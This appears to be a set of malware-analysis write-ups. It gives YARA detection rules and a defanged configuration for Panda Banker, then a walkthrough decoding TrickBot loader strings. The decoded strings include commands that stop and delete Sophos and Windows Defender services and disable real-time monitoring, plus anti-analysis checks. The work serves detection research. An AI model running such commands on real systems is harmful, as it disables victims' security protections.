VI. Yara Signature
A. Panda Grabber Module
import "pe"

rule crime_win32_panda_banker_grabber_dll {
meta:
description = "Detects Panda Banker grabber.dll module"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "7f85d26b4eb5f704544e2d1af97100f6e3a71b866d4ae2375cc3bbbac2a3f9c9"
strings:
$s1 = "Grabber: OutlookReadPassword - unsupported password type" fullword wide
$s2 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" fullword wide
$s3 = "Grabber: OperaGetCookies - ok" fullword wide
$s4 = "Grabber: GrabTotalCommander - ok" fullword wide
$s5 = "grabber.dll" fullword ascii
$s6 = "Pstorec.dll" fullword wide
$s7 = "SMTP Password" fullword wide
$s8 = "Grabber: GrabPasswords - ok" fullword wide
$s9 = "Grabber: FirefoxGetCookies - ok" fullword wide
$s10 = "Grabber: IEGetCookies - ok" fullword wide
$s11 = "Grabber: ChromeGetCookies - ok" fullword wide
$s12 = "Grabber: EdgeGetCookies - ok" fullword wide
$s13 = "webdav.tappin.com" fullword ascii
$s14 = "passwords.txt" fullword wide
$s15 = "fireFTPsites.dat" fullword wide
$s16 = "certs\\%s\\%s_%02u_%02u_%04u.pfx" fullword wide
$s17 = "Grabber: FirefoxGetCookies - called" fullword wide
$s18 = "Grabber: GrabCuteFTP - ok" fullword wide
condition:
( uint16(0) == 0x5a4d and
filesize < 200KB and
pe.imphash() == "8031528b770e1d9f25f2e64511835e27" and pe.exports("DeleteCache") and pe.exports("DeleteCookies") and pe.exports("DeleteFlash") and pe.exports("GrabCertificates") and pe.exports("GrabCookies") and pe.exports("GrabFlash") and
( 8 of them )
) or ( all of them )
}

B. Panda Keylogger Module

import "pe"

rule crime_win32_panda_banker_keylogger_dll {
meta:
description = "Detects Panda Banker keylogger.dll module"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "99d116c1e3defb75ebde30e5fcca9a78e16889cde3025823a106ed741fad711c"
strings:
$x1 = "keylogger32.dll" fullword ascii
$s2 = "%s%4d-%02d-%02d_%02d-%02d-%02d-%04d.jpg" fullword ascii
$s3 = "LoggerStart" fullword ascii
$s4 = "LoggerStop" fullword ascii
$s5 = ":,:6:R:\\:" fullword ascii

condition:
( uint16(0) == 0x5a4d and
filesize < 40KB and
pe.imphash() == "8c964d45bdb5d28ad0f6d7e92b0efea0" and pe.exports("LoggerStart") and pe.exports("LoggerStop") and
( 1 of ($x*) or all of them )
) or ( all of them )
}

C. Panda Webinject Client

import "pe"

rule crime_win32_panda_banker_webinject_dll_client {
meta:
description = "Detects webinject Panda DLL client"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "6a7ec42e06446d8133e4e6838042a38f6198b54b3664fe6bb4df25537493c2f8"
strings:
$s1 = "opera_browser.dll" fullword wide
$s2 = "microsoftedgecp.exe" fullword wide
$s3 = "microsoftedge.exe" fullword wide
$s4 = "webinjects" fullword ascii
$s5 = "grabbed\\%S_%02u_%02u_%02u.txt" fullword wide
$s6 = "HTTP authentication: username=\"%s\", password=\"%s\"" fullword wide
$s7 = "url_plugin_keylogger" fullword ascii
$s8 = "url_plugin_webinject64" fullword ascii
$s9 = "url_plugin_webinject32" fullword ascii
$s10 = "testinject" fullword ascii
$s11 = "url_webinjects" fullword ascii
$s12 = "webinject%ddata" fullword ascii
$s13 = "screen_process" fullword ascii
$s14 = "notify_process" fullword ascii
$s15 = "keylog_process" fullword ascii
$s16 = "list_blockedinjects" fullword ascii
$s17 = "screenshots\\%s\\%04x_%08x.jpg" fullword wide
$s18 = "HTTP authentication (encoded): %S" fullword wide
$s19 = "inject_vnc" fullword ascii
$s20 = "X-Content-Security-Policy" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 200KB and
pe.imphash() == "c06f3ba3522256a0075a0d89fb44cd42" and
( 8 of them )
) or ( all of them )
}

VII. Appendix

A. Dynamic Configuration
{
"botnet": "2.6.9",
"check_config": 327685,
"send_report": 327685,
"check_update": 327685,
"url_config": "hXXps://uiaoduiiej.chimkent[.]su/5fewucaopezanxenuzebu.dat",
"url_webinjects": "hXXps://uiaoduiiej.chimkent[.]su/webinjects.dat",
"url_update": "hXXps://uiaoduiiej.chimkent[.]su/5fewucaopezanxenuzebu.exe",
"url_plugin_webinject32": "hXXps://uiaoduiiej.chimkent[.]su/webinject32.bin",
"url_plugin_webinject64": "hXXps://uiaoduiiej.chimkent[.]su/webinject64.bin",
"remove_csp": 1,
"inject_vnc": 1,
"url_plugin_vnc32": "hXXps://uiaoduiiej.chimkent[.]su/vnc32.bin",
"url_plugin_vnc64": "hXXps://uiaoduiiej.chimkent[.]su/vnc64.bin",
"url_plugin_vnc_backserver": "nityYUQPeUwsKYfNAKh7c9O8lCQ=",
"url_plugin_backsocks": "hXXps://uiaoduiiej.chimkent[.]su/backsocks.bin",
"url_plugin_backsocks_backserver": "nityYUQPeUwsKYfNAKh7c9O8lCQ=",
"url_plugin_grabber": "hXXps://uiaoduiiej.chimkent[.]su/grabber.bin",
"grabber_pause": 1,
"grab_softlist": 1,
"grab_pass": 1,
"grab_form": 1,
"grab_cert": 1,
"grab_cookie": 1,
"grab_del_cookie": 0,
"grab_del_cache": 0,
"url_plugin_keylogger": "hXXps://uiaoduiiej.chimkent[.]su/keylogger.bin",
"keylog_process": "ZmlyZWZveC5leGUAY2hyb21lLmV4ZQBpZXhwbG9yZS5leGUAb3BlcmEuZXhlAAA=",
"screen_process": "cHV0dHkuZXhlAAA=",
"reserved": "JxZpa8bZHbYkIIvhyEd1cVZ/nS6URxD5wnvrDNiAjyi3xnWW8S8q9f/0ap+7kLHnW4XhNudnwRRizwE="
}

B. Panda Command-and-Control: 

urimchi3dt4[.]website

C. Hooked APIs

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}

Hooked API:
Internet Explorer (wininet.dll):
HttpSendRequestW
HttpSendRequestA
HttpSendRequestExW
HttpSendRequestExA
InternetReadFile
InternetReadFileExA
InternetReadFileExW
InternetQueryDataAvailable
InternetCloseHandle
HttpOpenRequestA
HttpOpenRequestW
HttpQueryInfoA
InternetConnectA
InternetConnectW
InternetWriteFile

Mozilla Firefox (nss3.dll):
PR_Close
PR_Read
PR_Write
PR_Poll

Google Chrome (chrome.dll):
SSL_read
SSL_write

Winsock 2 (ws2_32.dll):
closesocket
WSASend
WSARecv
recv

user32.dll:
TranslateMessage
GetClipboardData

Let’s Learn: Decoding Latest "TrickBot" Loader String Template & New Tor Plugin Server Communication

Goal: Document presence of the new TrickBot Tor plugin server and deobfuscate the latest TrickBot Loader malware string template.
Trick Loader MD5: 6124c863c08f92732da180d4cf7cbf38 

https://platform.twitter.com/widgets.jsOutline

I. Background
II. New Discovery: Tor Plugin Server in Config
III. TrickBot Loader Deobfuscation Walkthrough
IV. Analysis of Deobfuscated TrickBot Loader
 A. Checks for the presence of the virtual machine processes and  analysis DLLs
 B. Injected process
 C. Imported DLL
 D. Command-line arguments via 
 cmd.exe & PowerShell -DisableRealtimeMonitoring
 E. Checks for processes
 F. Configuration storage
 G. Directory name in %APPDATA%
 H. Oddities
V. Analysis of Latest TrickBot Core Possible Build ‘1041’
 A. Hardcoded Tor Relay List
 B. External IP Resolution
 C. Task Scheduler XML Struct
 D. Bot IP Check for Spam Blocklist

I. Background
While analyzing one of the latest TrickBot samples from the impersonated Danske Bank sender (thanks to @dvk01uk for the sample), I decided to take a deeper dive into TrickBot Loader.
II. New Discovery: Tor Plugin Server in Config
The TrickBot crew recently implemented a plugin server communication via Tor .onion on port:448 to fetch malware modules. 

It is a novel technique for TrickBot; it is likely they are experimenting with the Tor connector in order to improve and/or sustain first-layer module and proxy server resiliency. It is also possible that the Tor connector would be a new norm for the TrickBot crew to not only fetch modules but also for client-server communications similarly as it is performed in the other malware variants such as Gozi ISFB Botnet “4000”.
III. TrickBot Loader Deobfuscation Walkthrough
A. Retrieve the first self-injected unpacked TrickBot payload in memory and dump as an executable and disk.
B. Locate the encoded string template in OllyDBG and set up a hardware breakpoint on access (DWORD), and run until you see the key and template execution.

C. Dump and save the encoded template ‘data’ with its ‘key’;
D. Decode the custom Base64 obfuscated string template (thanks to @sysopfb for the script) by entering the encoded template to ‘data’ and its key to ‘key’; and

import base64

data = 'dUQGvV0XC3hkvV0\x00vKYkvV0IbVyM\x00dUQM9UN0PuhkvV0\x00q/YUqmigCXAIbVyM\x00EWqp\x00dlbWPVFX9BhG2Vo\x00mVSXvnxp\x00d7JpvlfGqHhkvV0\x009nSWPVxWPHhkvV0\x00bVfKPVxMdBhkvV0\x009liGdlihcnYMvt\x00qmigmUy5bHhkvV0\x00oUfgboYMvBhkvV0\x00olQfv3hkvV0\x00bVGHml9Q9VJZcnYMvt\x00oUqHcnYMvt\x00qUSk9KfpCXAIbVyM\x00dUhrPVMIbVyM\x00DxJNYw9N\x00uoxxdUxH\x00opFVxN9iokxdD/GWdnFXvUbpmN9gvnY59lC1DGYdElxHdnxI9NbGdKJgvUhd\x00o7f5b7xW9whQv/o\x00YmbQv7xQ9VG5v1\x00opFVxN9iokxdD/GWdnFXvUbpmNbgdKYSq/01D/NWPVGIbE\x002XJNJobOJpqhcDGiJDwzJOCUJHphCOqXcowyCWtHJOYVEkxOJlp\x002XbNYwEUYOdpcoC0COdzJwolJuSBJXbicooSJXE0TDkSYDApElp\x00bmQ0vVFHbmAIbmQG\x00qny5vUYhAVf5vlYhAVfMquikbui3v7xk2ui3vlYp2ui3vVw1vVQGAVJQdVGpq/GIbui3vVF5bVoQ\x00vUyGCXAIbVyM\x009lYXqmigCXA\x00xSYDY/hSv/xHqmYGoUxXdUG5vKJi\x00xSYDYKfGboSGv/FH2E\x00xSYDYUxpE/JpPmbGEUFIdUFMbxJGdlJgvUhfbt\x00xSYDomxGdKGxdUxHxVFeb/r\x00oUxoqUfEdnGUP/yGbUo\x00Y/yG9nNpP/FITkNkv/GIPmJpdnNpvlAQvnxlT1\x00cny5b0\x00qUygb/hpmUGk\x00f/EGbBxkc1\x009mJGdWCHcnYMvt\x00EpyDuoYVdnFzolYHP/hK\x00uoGwYKf5vxJpdnGIb0\x00EXgdo7f5blfQvuiVP/yGdSyDvliZvlJdoUF0PVFXANJhdlYGvuiEdnFpb/JpP/FIm7JXdBhG2Vo\x00qUSkcnxrbE\x00cUC1vnxpA7Jpvlt1opN/oUxH9nGWbE\x00cUC1vnxpA7Jpvlt1opN/E/YzP/hDbmfUP/JG\x00cUC1vnxpA7Jpvlt1oUF0PVFXAwNS9VFxdVYQ9Vo1oUxH9nGWbE\x00cUC1vnxpA7Jpvlt1oUF0PVFXYVNpqxfGqUFHbVxHoUxH9nGWbE\x00cUC1vnxpA7Jpvlt1oUF0PVFXAwSOoHiibUxI9t\x00cUC1vnxpA7Jpvlt1oUF0PVFXAwSOoHiOvVGGvKE\x00cUC1vnxpA7Jpvlt1dUF0PVFXdliX\x00cUC1vnxpA7Jpvlt1oUhpdBiDbmfUP/JG\x00cUC1vnxpA7Jpvlt1oUF0PVFXAN9Gq3iOvUhpdnFMANJGdKbgqUo\x00cUC1vnxpA7Jpvlt1dl9gmlJGdKbgqUo\x00cUC1vnxpA7Jpvlt1dl9gmlx0bVNpbxaUJt\x00EXgdo7f5blfQvuiVP/yGdSyDvliZvlJdoUF0PVFXANJhdlYGvuiEdnFpb/JpP/FImOwIbmQG\x00EXgdo7f5blfQvuiVP/yGdSyJq/ylqmfGqKGpbmJdE/hpPuSJq/ylqmfGmwSBEoSDbmfUP/JGcnxrbE\x00cUC1dUC1dlY5dBimP/hwb/bGvnE\x00cUC1dUC1bVxMbmYGAN9gvkYGbnxIbt\x00DmJJdwxIbHhG2Vo\x00DxJiopJSPo0IbmQG\x00DxJiopJSPuhG2Vo\x00cUC1dVFlbmfXPVxMvBiDbmEzDmiEdnxnbmfGvnJGABSwPmJQqnyGonxQv7Ygv/xJvUhg9VFHP/hKABYpdKxG\x00opFVxN9iokxdoVFMP/JgbmJdD/GWdnFXvUbpmN9gvnY59lC1YVxnb/hkbmA\x00YVGXq/fMboNI9VGDd7GlqmfG\x00opFVxN9iokxdD/GWdnFXvUbpmN9gvnY59lC1YVxnb/hkbmA1oUxW9mfg97k1EUxI9VxHmwh59VGnP/JQ9VG5vKC\x00YVGXq/fMboh59VGnP/JQ9VG5vKC\x00xUGIYVxnb/hk\x00mwbioE\x00mNfNEoYJYuhzbt\x00DofiDxJGdKbgqUo\x00opN/oUxH9nGWbE\x00oUNUoUxH9nGWbuhG2Vo\x00EoyJvUrIbmQG\x00oUF0PVFXYGCIbmQG\x00EoyX9nCIbmQG\x00EUyGq/rIbmQG\x00opN/E/YzP/hDbmfUP/JGcnxrbE\x00oUNUoUxH9nGWbuhG2Vo\x00EoyJvUrIbmQG\x00cUC1dUC1dlY5dBiDExbDbmfUP/JG\x00cUC1dUC1bVxMbmYGANJixGJGdKbgqUo\x00opFVxN9iokxdD/GWdnFXvUbpmN9gvnY59lC1DGYdElxHdnxI9NbGdKJgvUhdu/SQbUo1YnGMbuiN2VxW9mYgvUr1DlipP/FId0\x00YVx39/9KbmA\x00PUgebUQSblxnbKGePnQeP1\x00'
key = 'tiBOwNV7AfLcCJT8EYuDox/mqbPvd92R1Q3WkGnKZgjeMzI50yHXpSUlrh64aFs+'
std_b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

for s in data.split('\x00'):
s = s.translate(str.maketrans(key,std_b64))
if len(s)%4 != 0:
s += '='*(4 - len(s)%4)
print(base64.b64decode(s))

E. Review the output

b'shell32.dll'
b'ntdll.dll'
b'shlwapi.dll'
b'advapi32.dll'
b'B64'
b'svchost.exe'
b'\\msnet'
b'pstorec.dll'
b'vmcheck.dll'
b'dbghelp.dll'
b'wpespy.dll'
b'api_log.dll'
b'SbieDll.dll'
b'SxIn.dll'
b'dir_watch.dll'
b'Sf2.dll'
b'cmdvrt32.dll'
b'snxhk.dll'
b'MSEDGE'
b'IEUser'
b'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\'
b'ProductName'
b'Evaluation'
b'SOFTWARE\\Microsoft\\Virtual Machine'
b'{3E5FC7F9-9A51-4367-9063-A120244FBEC7}'
b'{6EDD6D74-C007-4E75-B76A-E5740995E24C}'
b'explorer.exe'
b'bloody booty bla de bludy botty bla lhe capitaine bloode!'
b'ole32.dll'
b'wtsapi32'
b'WTSEnumerateSessionsA'
b'WTSFreeMemory'
b'WTSGetActiveConsoleSessionId'
b'WTSQueryUserToken'
b'SeTcbPrivilege'
b'Elevation:Administrator!new:'
b'.log'
b'client_id'
b'%d%d%d.'
b'user32.dll'
b'CLSIDFromString'
b'IIDFromString'
b'C:\\Program Files\\Sophos\\Sophos System Protection\\ssp.exe'
b'cmd.exe'
b'/c net stop SAVService'
b'/c net stop SAVAdminService'
b'/c net stop Sophos AutoUpdate Service'
b'/c net stop SophosDataRecorderService'
b'/c net stop Sophos MCS Agent'
b'/c net stop Sophos MCS Client'
b'/c net stop sophossps'
b'/c net stop Sntp Service'
b'/c net stop Sophos Web Control Service'
b'/c net stop swi_service'
b'/c net stop swi_update_64'
b'C:\\Program Files\\Sophos\\Sophos System Protection\\1.exe'
b'C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe'
b'/c sc stop WinDefend'
b'/c sc delete WinDefend'
b'MsMpEng.exe'
b'MSASCuiL.exe'
b'MSASCui.exe'
b'/c powershell Set-MpPreference -DisableRealtimeMonitoring $true'
b'SOFTWARE\\Policies\\Microsoft\\Windows Defender'
b'DisableAntiSpyware'
b'SOFTWARE\\Microsoft\\Windows Defender Security Center\\Notifications'
b'DisableNotifications'
b'WinDefend'
b'\\FAQ'
b'\\README.md'
b'MBAMService'
b'SAVService'
b'SavService.exe'
b'ALMon.exe'
b'SophosFS.exe'
b'ALsvc.exe'
b'Clean.exe'
b'SAVAdminService.exe'
b'SavService.exe'
b'ALMon.exe'
b'/c sc stop SAVService'
b'/c sc delete SAVService'
b'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options'
b'Debugger'
b'kjkghuguffykjhkj'

IV. Analysis of Deobfuscated TrickBot Loader
The TrickBot Loader contains various logic targeting and “relaxing” various security measures on the host machine including stopping a plethora of Sophos and Windows Defender anti-virus services. Additionally, TrickBot Loader executes a Powershell script disabling real-time monitoring via “powershell Set-MpPreference -DisableRealtimeMonitoring $true”. Based on the analysis of the Loader, the crew is primarily concerned about Sophos, Windows Defender, and MalwareBytes anti-virus engines. Currently, this Loader installs itself and creates a directory “msnet” in %APPDATA%.
The oddities of the TrickBot loader include ever-present string  ‘bloody booty bla de bludy botty bla lhe capitaine bloode!’ as well as a random ‘kjkghuguffykjhkj’ ones. The TrickBot crew appears to reference the US movie Captain Blood” (“Capitaine Blood” in French), in which “[i]n 1685, Dr. Peter Blood was arrested for assisting a wounded rebel in a revolt against King James II of England…Blood and Levasseur [main nemesis of Blood. -VK] not being able to agree on the attribution of this “booty”, a duel ensues where Blood kills Levasseur, before starting on the way to Jamaica to deposit Arabella and the royal delegate.”
 It is notable that the group consistently improves its loader since its rather crude GetModuleHandle anti-analysis DLL check implementation in late 2017.
A. Checks for the presence of the virtual machine processes and analysis DLL;

b'pstorec.dll'
b'vmcheck.dll'
b'dbghelp.dll'
b'wpespy.dll'
b'api_log.dll'
b'SbieDll.dll'
b'SxIn.dll'
b'dir_watch.dll'
b'Sf2.dll'
b'cmdvrt32.dll'
b'snxhk.dll
B. Injected process;

b'svchost.exe'
C. Imported DLLs;
b'shell32.dll'
b'ntdll.dll'
b'shlwapi.dll'
b'advapi32.dll'
b'ole32.dll'
b'user32.dll'
D. Command-line arguments via cmd.exe;

/c powershell Set-MpPreference -DisableRealtimeMonitoring $true'
b'/c net stop SAVService'
b'/c net stop SAVAdminService'
b'/c net stop Sophos AutoUpdate Service'
b'/c net stop SophosDataRecorderService'
b'/c net stop Sophos MCS Agent'
b'/c net stop Sophos MCS Client'
b'/c net stop sophossps'
b'/c net stop Sntp Service'
b'/c net stop Sophos Web Control Service'
b'/c net stop swi_service'
b'/c net stop swi_update_64'
b'/c sc stop SAVService'
b'/c sc delete SAVService'
E. Checks for processes and services;
b'MBAMService'
b'SAVService'
b'SavService.exe'
b'ALMon.exe'
b'SophosFS.exe'
b'ALsvc.exe'
b'Clean.exe'
b'SAVAdminService.exe'
b'SavService.exe'
b'ALMon.exe'
b'MsMpEng.exe'
b'MSASCuiL.exe'
b'MSASCui.exe'
b'C:\\Program Files\\Sophos\\Sophos System Protection\\1.exe'
b'C:\\Program Files\\Malwarebytes\\Anti-Malware\\MBAMService.exe'
b'C:\\Program Files\\Sophos\\Sophos System Protection\\ssp.exe'

F. Configuration storage;

b'\\FAQ'
b'\\README.md'

G. Directory name in %APPDATA%;

b'\\msnet'

H: Oddities

b'bloody booty bla de bludy botty bla lhe capitaine bloode!'
b'kjkghuguffykjhkj'

II. Update: July 26, 2018: Analysis of Latest TrickBot Core Possible Build ‘1041’
This exact methodology also works to decode the bot core template.

import base64

data = 's27kD6oUsVHWbWAeD645DIT tIf04osR4VdBbyfyM2YWsw 8IsRmldjGTs1myWeD67X427xByYjQ6k BEdWQV8W8276MVdjDy/WDC8rDIfqMw ssHoTUsNsh7UDIw 86sxB280bl8WbCHdDy4j asA3toAATLU14IYk tC88m2seGTW14yfeD2oxM2f1TldjQ6sRbw DC8UDIw14IYk TIoxML45Dy8oGl8WDCH5D67V TIoxModWD2f64T45DIstbIsqsw TIoxModWD2f64Td0Q6XRDIoRMob TE8eTE8easb TIoxModWDyoX4TsvmIs1b6WjDWb TIoxMLoU4Ld0Q6XRDIoRMob TIoxML45Dy8IM2YWtyoX4sb Tx0zsxoBaa7UDIw BEd7bl8rM270bCWTD/HxbyW14/b BEd7bl8tmld5DymTDxd5DyoeGsb B/d4ToBRzh7UDIw B6fsDyW1MV85Q2Y5GyT B6fPbys0mIsdDCHxQ27q4B D6YWzR314IYk T6sxT6sqmVd5mlWL4VHqbyWwmIfe8IoqD+ a275mIW0DIWF4sHWQEseMV878IsRQEd5bl8jbu B6fwGsH54+ 86sxtIs14E8nT6WU T6sx827xbyWWbxW1B2Hksw 86sxT6sqmVd5mlWdDy4j T6sxT6sqmVd5mlWdDy4j T6sxtyoX428t42H/byWxGTW14yfV TysCT6sxsyokm2soGob TysCtEAWDUXWGTsvsw TysCB6Yjb6si4VU TysCBEdWQV8Wa6s78V0V Tys64VdxsIft42Yy B28gmVHxsIfc427BbyW6M2YW46sR tIfjMEswTld5myWk42mWsyokm2sV BEd7bl8l4V83QVHnTIoeQ2x BEd7bl8AQEo/MVdWB6f1mIsvmob BEd7bl8t4V8i4VWBQVd0DB BEd7bl8a42YWQVHWB6f1mIsvm+ B6f1mysemoHxbyW14/HWQEseMV878IsRQEd5bl8jbW8jT6sqmVd5mlWL4VHqbyWwmIfesw BEd7bl8dDVAjbC8i4VU BEd7bl8Pbys0mIs3QVHn BEd7bl8L42HeGVAx BEd7bl8L4VHxbyf7aIoRM+ BEd7bl83QVHn8IoxQB BEd7bl8L4VHxbyf7a6s7 B2YkD6H0mIsADy8dDyWxM2okMV5WT6WU 8CdW4sH54+ tEAWDWAeD6HWbEHTD6XWDu 8Vo/Q2YtM2B BEdWQV8WTldjQ6sRbxoRsVHWbWb 8lswDIWqQV8WsIfc427oG+ tIfjMEswB2HqDEs1moH54ob 86sxsIfc427dDy4jby/0mIWjDu 86sxsVHWbU70D2sV BT82BsAdzR314IYk BEdWQV8WsIfjDI0WDl+RzWH1QVARMIfx TldjQ6sRbRzetysvmob TldjQ6sRbRze8yWebE8V tVskmIWrGV8WsIfVM28WB600bu s6WU4THnQVdTDx//Dl85BCWx4B 86sxt2fUm2YWaIo14IYWBB TVsWbCWB4VdyDEdXQ27q4THjm27x4V3 86sxBEsebys1mo8nbys04LWU T6sxs27nQ27UDIsU8V0q4VAxM2f18yWkmIse s27nQ27UDIsU8V0q4VAxM2f18yWkmIse DlHxbyYWDUL 86sxBEsebys1moAeD6HWbEHd4+ 86sxTEWRmIsXsIWX4ToR8yWk4s85D2T 86sxBEsebys1moAeD6HWbEz 86sxsyseb6WjDUsvsw 86sxsyseb6WjDu T6sx8yWk4sAjM27x4V3 sEd5mIsIM2YW Tys04L45DIT BEdWQV8W8yWk4sb DlHxbyHXbIWV 86sxsIsXbL45DIsNQ2/Wsw BEdWQV8WTldjQ6sRb/b t2f64T45DIsoGob 86sxsIWqMxHjm27x a275mIW0DIWF4THeMV85Q6okT6sqmIWjDUo14oHwM27PDEs1m+ T6YW4V+ 86sx8yWk4Toxmld5QCsx4VHV 86sxt2fUm2YW8yWk4T70D2sV 86sxTE80bC8/bLW14yfV 86sxsIsXboA0mI0V t2f64T45DIsV T6sxBEsebys1mL85bysqmIfeGsb 8Isk4V8W8yWk4sb DlHxbyHwGsb tIfqQ2YIbysW BEdWQV8WtVsx4V0V TysRm2/WsI0e42oU sEd5mIsBbyfq4VHRt2sXDEd7 8lswDIWqQV8WaIo14IYW BEdWQV8W8V4WDC8V 86sx8V05mLHj4IsTMldWQ2B syWemls0DLokDIfq8Vu syWemls0DoAeDE8WQE8oG+ sIseD2W1QV8WTldjQ6sRbw Tys04oAeD6HWbEHH42/jbCU syWemls0DL4e42soG+ tEAWDWAeD6HWbEz BEdWQV8WTysXDE8WsI0e42oU T6sx8V4WDCB BEdWQV8W8IWe42HxDEd7sw T6sx8yWk4Toxmld5QCsx4VHV DlHxbyHXbLL tIf04LY5QCd0bCWA 86sx8yWk4s85D2T 8yW14L7WGl8IM2YWsw 86sxTEWRmIsXa27yDw tIfqM/dWb6f/byHW 8yW14LHkDEHW 86sxtIoRmLsebyfe DlHxbyHwG27V T6sx8yWk4s85D2T 86sxt2fUm2YWaIo14IYWsw tIf04odWb6f/byHW 8CdW4TY5QCd0bCU 8yW14odWb6f/byHWsw 8yW14L45bCHx8yWk4sb 86sx8CskDoA0mI0NQ2/Wsw DlHxbyYWDWb DlHxbyHXbob 86sxB6fXblsx4VdNQ2/Wsw BEdWQV8WsI0e42oU iRfyDEdXQVBfmIsvm+ mEmEiy/74V0x4Vd1Q2Y5br7qD6x M28WDCB1D2T QVA5iyWwiCHh VIWjQ6fwGB s6o1modWDIs0b6T 4yWymlU Q6/Uiysv4B ztu/iqBYiqL/HrvYzR+FNt+wzB zRb1zqTeiqL7zrvYHRQFHPBR NP31ztLviqLEiq3RHtnxHPz NPz1ztQRiqL6HrvYHtn7zP+R HqU1ztQRiqzxiqLEzRnxHPz ztT7iqu7iqL/zavezRLFNt+wzB zqLeiqBEiq3xHhvezqUFNt+wzw NPB1HP+1ztLeiqbwNqUwzPL zhvYzRb1ztQ1zqB/NqUwzPL ztU7iq3xNavezqz1Hq3FHPBR ztu/iq3eiqLEzhvezRbFHPBR NPu1NtU1zqL6iqL7HPn7zP+Y ztu/iqLRiqz7iqL7HRnxHPz ztQeiq3xHevEzhvezPLFHPBR ztbxiqLeHeveztb1HRzFHtT/HtB B6f1mIs1mr/z427CmIuF3+ PBnHru dVzudszuao8TTrZYiqLHrU0jbEBF3rsRdVzWTw iyf1M2f1 M27yDe7UQVB TUsA8L/oiy/U 8Uo8 8Lsr8w tToPaLWN8sYttx4Tsxoa8sYHM2HeDEHj4C8bt2WqbyfRD64x3Lo1mIWXQ2YEQVdWVLsvQ6Y/b6WjDCHbTIoxMlz tToPaLWN8sYttx4Tsxoa8sYBD6Y5Q6WWb/YHM2HeDEHj4C8bs6W14IfEbeAL424WDy8WbWYoGIHkmVH5D67RVoA0mI0R tToPaLWN8sYttx4Tsxoa8sYHM2HeDEHj4C8bs6W14IfEbeAL424WDy8WbWYoGIHkmVH5D67RVoA0mI0R s6W18Isy427U 86YjQyokVrTwNIYQdt+xDouWDlT 3lmjbyX5Dyb bIoxM+ myseiC8vm+ t2fUm2YWTVsWbCU tIs0mysPbyWxM2H0DoHWQE85D6v 827x4VdPbyWxM2H0DoHWQE85D6v a275mIW0DIWF4THeMV85Q6okT6sqmIWjDu sUsaTw T6WCDyoxmVdWtIs14E8n 8THPTosrtLWPBUY9Bu 8THLTxopTPzvH+ bEA0Da7UDCHhDr7RDEdhbe714VB 4I7RQywXza7/Q6swbyfx42Hxiy7Wm+ Qh7hQVdeQ2H/4Ioq427xbyokiyfe4w Q6dkiyohmVHWQVB1DEdC Gys1iCHwQ2/nQVsRiyfe4w 86sxtyoxMV4WTEWRmIsXa27yDw t2fUm2YW3IWR3I7jmrA6Q2Y54+ Q6Y5427xV6WU zt+xzB iEAkQ2W1i6HkM2s1mIWw iE8WGlB iEd0mw i6Ww iEAkQ2W1 MV+1Q277bEdqiy7Wm+ mE8yMVHXG2WwiyHjDB DVWWGl8Wby70DIWwiyHjDB M2H0Dy00GyWwiyHjDB QVA5iyWwM247iyfe4w MVA5Dy4jiyWj MVAWQ60jiy7Wm+ Q60WQ6X5br70D2oFD670mEz1Q6fX bEHWbCB 8PnnBtkS8xLSNRXV8rUnBtkS8xLSNRXrBaUnBtkS8xLSNRXt2aUnBtkS8xLSNRXaBeU 86YjQyokVL//mIL iaxWbexXPBnHru iaxWbwxKB6f1mIs1mr/LMVHwDEH5mIWjDqnu4yfeDa/UQV80NeA1Q2/W9a3WTe3HruxK B6f1mIs1mr/TGVAWNhAXm2YxMVA0bCBj4yfeDa/UQV80NeAhDEs14IoeGtxWbwxKB6f1mIs1mr/z427CmIuF3rsUPBnHru iaxXiaxXByf/Dy80bCUWzP0Q m6W1bE80zoYU4240m2Yx s/8tTVsWbCWsb6sesIfc42v s/8t86sxB2HxMV4WB6f1b6fk4sHWbEH5D67d4+ s/8t8CdW4T/WD2feGB s/8t827/D2seQV8WT6sRb6WjDCHA mE8RQVA5zR3 86sxTldjQxoU4ldWbEz tIf04LY5QCd0bCWV 8V05moAeD6HWbEz TysR4V8omys1m+ B6Yjb6s3Q27UDIT s6o5mL4jbWH5Dymk4TfhMysqm+ T6WCDyokt6dg42HxB27Us6o5m+ bE4qMIfRmr7WGIT Tysk42oR4B 8CdW4Td/4y4Wbu B6f1mldjD+ TE80bCB tIf04rAxDeAH3I40M2YW4+ TCs13LBu4yo5DIsU tIf04rAxDeAB3I40M2YW4+ 8yW14rAB3I40M2YW4+ BEdWQV8W3o5B3I40M2YW4+ t2fUm2YW3I00beA0DldWQ2873IdW42vuDIf04IsU bIoe427x4yWk4Vz MV+ M2B bIseM2fU 4yWk4B Q6f14u QVdC Q6f1mldjD+ DysW4IW14yZ QVsxD6HjDC8eD6w QVsxD6HjDyQ bldjQ6sRb670D2T bEWR G2sR QVsxDEHxQVdx 9I/j4lsk42HjDy454Rvg9rfXD68/DIsqD67yM2bO dVzWbw dVzWb/fqD67yM2mRV+ t2fUm2YWb/w aIs0bodWB2YkD6z aIs0bL4e42T 86sxTldjQ6sRbx0WQV+ aIs0bLokDIfq M6seDyskzR314IYk zrvwiq+1z+ TLfts+ 8xsT sVdk8VHqQVAWsw b60km6owMB BUHeGVAx8IsRmldjGTXWGB BUHeGVAxB6Yjb6sADImjbyWxMI/Bbyf6M28Wbu BUHeGVAxsyseM247T6WCDyoxmVdW BUHeGVAx86sxTldjbIsemlU BUHeGVAxa2/wDEdxa6s7TIo5bu BUHeGVAxtEAWDUok46feMV8nDsAeDE454Ise tUHeGVAx8CdW4TfhMysqm+ tUHeGVAx8Isk4V8Wa6s7 tUHeGVAxa2/wDEdxa6s7 tUHeGVAxtEAWDWHxDEd046sBbyf6M28Wbu ByHeGVAxiy8kD+ tyHeGVAxiy8kD+ dVzudVzuT/+W4+ GPu6 GPQx s27cDyfEDu s6W14IfEbe+ezP+w s6W14IfEbeAQT+ s6W14IfEbeAt4Vd64V3uzq+wzw 